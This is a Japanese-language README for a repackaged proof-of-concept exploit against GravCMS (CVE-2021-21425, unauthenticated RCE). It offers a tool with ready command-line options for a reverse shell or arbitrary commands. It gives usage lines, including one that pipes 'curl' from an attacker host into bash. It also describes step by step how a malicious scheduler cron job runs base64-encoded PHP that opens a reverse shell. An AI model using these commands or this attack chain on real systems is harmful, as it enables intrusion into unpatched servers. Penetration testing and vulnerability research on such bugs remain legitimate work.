CVE-2021-21425 - GravCMS 未認証RCE

CVE-2021-21425 の改良版概念実証。これは GravCMS <= 1.10.7 における未認証のリモートコード実行脆弱性で、スケジューラへの任意の YAML 書き込みを悪用します。

クレジット

これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。

役割	担当
脆弱性の発見者	Mehmet Ince (@mdisec)、PRODAFT / INVICTUS Europe — 2021年3月
元のPoCの作者	"legend" — Exploit-DB EDB-49973
このリポジトリでの改変者	d4ytox

このバージョンでの変更点

元の EDB-49973 では、スクリプト内のハードコードされた値を手動で編集する必要があります。このバージョンでは以下を追加しています：

• ターゲット、LHOST、LPORT のコマンドライン引数
• リバースシェルペイロードの自動 base64 エンコード
• カスタムコマンドのサポート (-c)
• エラーハンドリングとステータス出力

これらは既存のエクスプロイトに対するユーザビリティの変更です。脆弱性研究を主張するものではありません。

脆弱性

項目	値
CVE	CVE-2021-21425
EDB-ID	49973
影響を受けるバージョン	GravCMS <= 1.10.7
種類	未認証RCE
CVSS	9.8 (Critical)

Grav Admin プラグインは特定の管理ルートで認証を検証しないため、未認証のユーザーが任意の YAML 設定を書き込むことができます。このエクスプロイトはスケジューラ設定を悪用して、任意の PHP コードを実行する cron ジョブを作成します。

使用方法

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

例

# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

要件

pip install requests

動作の仕組み

1. /admin を取得して admin-nonce トークンを抽出（脆弱性により認証不要）
2. 悪意のある cron ジョブ設定を含む POST を /admin/config/scheduler に送信
3. スケジューラが /usr/bin/php -r eval(base64_decode(...)) 経由で PHP ペイロードを実行
4. PHP が base64 デコードされたリバースシェルを /tmp/rev.sh に書き込み、実行

cron ジョブは毎分実行されるため（* * * * *）、シェルは60秒以内に到達します。

タイムライン

• 2021-03-18 - Mehmet Ince がペネトレーションテスト中に脆弱性を発見
• 2021-03-29 - 公開
• 2021-04-01 - Grav Admin Plugin 1.10.8 で修正

参考資料

• NVD Entry
• GitHub Security Advisory GHSA-6f53-6qgv-39pj
• Original writeup by Mehmet Ince (Pentest Blog)
• Original PoC - Exploit-DB EDB-49973

ライセンス

MIT。このリポジトリの改変にのみ適用されます。上流の PoC にはライセンスがないため、その作者による全権利留保のままです。完全な帰属表示については LICENSE を参照してください。

免責事項

許可されたセキュリティテスト専用です。いかなるシステムに対してもテストを行う前に、書面による許可があることを確認してください。